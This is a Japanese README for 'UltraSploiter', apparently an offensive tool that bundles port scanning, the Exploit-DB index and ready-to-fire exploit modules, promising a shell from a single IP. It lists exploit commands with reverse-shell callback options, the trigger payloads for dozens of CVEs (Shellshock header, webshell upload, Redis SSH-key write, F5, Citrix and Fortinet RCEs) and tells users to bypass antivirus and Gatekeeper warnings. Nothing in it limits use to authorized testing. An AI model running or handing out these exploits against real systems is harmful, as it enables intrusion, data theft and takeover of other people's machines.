ポートスキャナ、Exploit-DBの全インデックス(47kエントリ)、実行可能なエクスプロイトモジュールを1つのツールに統合した単一バイナリ。Rustで書かれており、Linux、Windows、macOSで動作します。
スキャン、マッチ、エクスプロイト — IPを1つ入力すれば、シェルが返ってくる。
ポートスキャナ、Exploit-DBの全インデックス、そして実行可能なエクスプロイトモジュール群を1つのツールにまとめた単一バイナリ。Linux、Windows、macOSで動作します。
| 作業 | 通常 | ここでは |
|---|---|---|
| ホスト上のサービスを探す | nmap | UltraSploiter scan <ip> |
| エクスプロイトを検索する | searchsploit | UltraSploiter search <kw> |
| それらを発射する | msfconsole | UltraSploiter exploit <ip> <module> |

最も簡単で最良の方法は、ビルド済みバイナリを入手して実行するだけです。 インストール不要、依存関係なし — 自己完結した1つのファイルです。
Releasesページからダウンロード:
UltraSploiter-windows-x86_64.exe → ダブルクリックUltraSploiter-linux-x86_64注意: セキュリティツールはフラグが立てられます。Windows SmartScreenやアンチウイルスがバイナリに警告を出したり隔離したりする可能性が高いです — 詳細情報 → 実行 をクリックするか、常駐させる場合は除外設定に追加してください。
UltraSploiter.exeをダブルクリックします。メニューが開きます。
SmartScreenが不明な発行元について警告を出す場合(署名のないバイナリでは必ず出ます)、詳細情報 → 実行 をクリックしてください。
chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64
chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64
Gatekeeperがブロックする場合(これも署名のないバイナリでは必ずです)、右クリック → 開く を選ぶか、隔離フラグを一度クリアしてください:
xattr -d com.apple.quarantine UltraSploiter-macos-arm64
お使いのプラットフォーム用のバイナリがない場合、または変更を加えたい場合にのみ必要です。 Rust 1.74以上が必要です。
sudo apt install build-essential # gcc + linker (Debian/Ubuntu)
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
xcode-select --install # clang + linker
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1 # -> UltraSploiter.exe
build.ps1はstable-x86_64-pc-windows-gnuツールチェーンを使用し、MinGWでリンクします — つまりVisual StudioやMSVCは不要です。ツールチェーンがなければインストールします。すでにMSVC Build Toolsがある場合は、単純なcargo build --releaseでも動作します。
Windows + GNUに関する注意:
windows-sys(tokioによって取り込まれる)はdlltoolを呼び出し、それがアセンブラasを呼び出します — そしてrust-mingwコンポーネントにはasが同梱されていません。build.ps1は%~dp0tools\mingw64\binと%USERPROFILE%\tools\mingw64\binの中にasを持つMinGWのbinを探し、見つかればPATHの先頭に追加します。error calling dlltoolに遭遇した場合は、そこにwinlibsのビルドを配置してください。MSVCツールチェーンは影響を受けません。
引数なしで実行するとメニューが表示されます:
1) Scan a target find open ports and services
2) Search exploits keyword lookup
3) List runnable modules
4) Run an exploit pick a target and a module
5) Console advanced msf-style commands
0) Exit
UltraSploiter scan 10.0.0.5 # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.5 -p 1-1024 -T4 # range, fast timing
UltraSploiter scan 10.0.0.5 -p - # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU # UDP scan
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter info 17491
UltraSploiter show 17491 # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console
Linux/macOSでは./を付けてください(例: ./UltraSploiter scan 10.0.0.5)。
| フラグ | 意味 |
|---|---|
-p <spec> | top (1000)、80,443、1-1024、- (すべて) |
-T0..-T5 | タイミングテンプレート — 遅い/静かから速い/騒がしいまで |
-sU | UDPプローブスキャン |
-sV | サービス/バージョン検出(デフォルトで有効) |
--no-banner | バナー取得をスキップ |
--json | stdoutにJSON |
-oX <file> | nmap形式のXML |
スキャナは非同期(tokio)です: 各-Tレベルは同時に処理するソケット数を設定し(-T5では最大8000)、nmapのtop-1000を数秒でカバーします。すべての「open」は完了したTCPハンドシェイクであるため、結果は正確です。
-o key=value)| キー | 使用元 | 意味 |
|---|---|---|
lhost, lport | リバースシェルモジュール | コールバックアドレス |
rport | Webモジュール | HTTPポートを上書き |
path | shellshock, struts, phpunit | エンドポイントパス |
user, pass | tomcat_manager | マネージャ認証情報 |
core | solr_rce | Solrコア名 |
file | grafana_lfi | 読み取るファイル |
ssh_pubkey | redis_unauth | authorized_keysに書き込む鍵 |
src, dst | proftpd_modcopy | コピー元 / コピー先 |
timeout | すべて | ソケットタイムアウト秒 |
searchとinfoは完全なExploit-DBインデックス — 47,000件以上 (searchsploitが使用するのと同じデータセット)に支えられており、バイナリにバンドルされています。エントリが実行可能なモジュールが実装するCVEを持つ場合、infoは両者をリンクします:
$ UltraSploiter info 17491
Exploit-DB 17491
description vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
codes OSVDB-73573;CVE-2011-2523
[runnable] vsftpd_234
UltraSploiter exploit <ip> vsftpd_234
| モジュール | CVE | トリガー |
|---|---|---|
vsftpd_234 | CVE-2011-2523 | :)ユーザー名 → 6200でrootバインドシェル |
unrealircd_backdoor | CVE-2010-2075 | IRC経由のAB; <cmd> |
distcc_exec | CVE-2004-2687 | DISTプロトコルコンパイラ引数 |
proftpd_modcopy | CVE-2015-3306 | SITE CPFR/CPTOファイルコピー |
redis_unauth | — | CONFIG SETが鍵またはcronエントリを書き込む |
shellshock | CVE-2014-6271 | User-Agent: () { :; }; <cmd> |
struts2_5638 | CVE-2017-5638 | Content-Type内のOGNL |
tomcat_put | CVE-2017-12615 | JSPウェブシェルをPUT |
tomcat_manager | — | /manager経由でWARをデプロイ |
elasticsearch_groovy | CVE-2015-1427 | _search内のGroovy RCE |
drupalgeddon2 | CVE-2018-7600 | Form APIレンダーコールバック |
phpunit_eval | CVE-2017-9841 | eval-stdin.php |
jenkins_script | CVE-2019-1003000 | 認証不要の/script Groovy |
solr_rce | CVE-2019-17558 | stream.body内のVelocityテンプレート |
grafana_lfi | CVE-2021-43798 | プラグインパストラバーサルによるファイル読み取り |
webmin_backdoor | CVE-2019-15107 | password_change.cgiが値をシェルにパイプ |
php_cgi_arg_injection | CVE-2012-1823 | クエリ文字列経由の-d auto_prepend_file |
それぞれが非破壊的なcheck()とrun()を実装しています。
これらはdata/catalog.json内のカタログエンジンによって実行される小さなJSONレシピです。
モジュールの追加は新しいソースファイルではなく、約8行のデータです:
| id | CVE | 内容 |
|---|---|---|
CAT-F5-TMUI-LFI | CVE-2020-5902 | F5 BIG-IP TMUIファイル読み取り |
CAT-F5-ICONTROL-BASH | CVE-2021-22986 | F5 iControl REST認証不要RCE |
CAT-F5-ICONTROL-2022-1388 | CVE-2022-1388 | F5 iControl認証バイパスRCE |
CAT-PULSE-SECURE-LFI | CVE-2019-11510 | Pulse Secure VPNファイル読み取り |
CAT-CITRIX-2019-19781 | CVE-2019-19781 | Citrix ADCファイル読み取り |
CAT-APACHE-2449 / -RCE | CVE-2021-41773 | Apache 2.4.49トラバーサル / mod_cgi RCE |
CAT-APACHE-2450 / -RCE | CVE-2021-42013 | Apache 2.4.50トラバーサル / mod_cgi RCE |
CAT-VBULLETIN-2019-16759 | CVE-2019-16759 | vBulletin widget_php RCE |
CAT-VBULLETIN-2020-17496 | CVE-2020-17496 | vBulletinネストウィジェットRCE |
CAT-NEXUS3-LFI | CVE-2024-4956 | Nexus Repository 3パストラバーサル |
CAT-FORTINET-FGTLANG | CVE-2018-13379 | Fortinet SSL-VPNセッションファイル読み取り |
CAT-PHPMYADMIN-LFI | CVE-2018-12613 | phpMyAdminローカルファイルインクルージョン |
CAT-MINIO-INFO | CVE-2023-28432 | MinIO環境 / 認証情報の漏洩 |
CAT-SPRING-ACTUATOR-ENV | — | Spring Bootアクチュエータ設定漏洩 |
CAT-DOCKER-API | — | オープンなDocker Engine API |
CAT-KUBELET-PODS | — | 匿名kubeletポッド一覧 |
CAT-ETCD-KEYS | — | 認証不要のetcdキーストア |
CAT-HADOOP-WEBHDFS | — | 認証不要のWebHDFS一覧 |
エンジンはメソッド、ヘッダー、ボディ、{cmd} / {file} / {lhost} / {lport}の置換、パスを考慮したURLエンコーディング(トラバーサルではスラッシュはリテラルのまま、フォームボディは完全にエンコード、JSONは生のまま)、成功マーカー、リバースシェルハンドラ、そしてcurl経由のHTTPSを処理するため、ポート443のレシピはバイナリにTLS依存関係なしで動作します。
すでにMetasploitがインストールされている場合、msfはそれにパススルーします: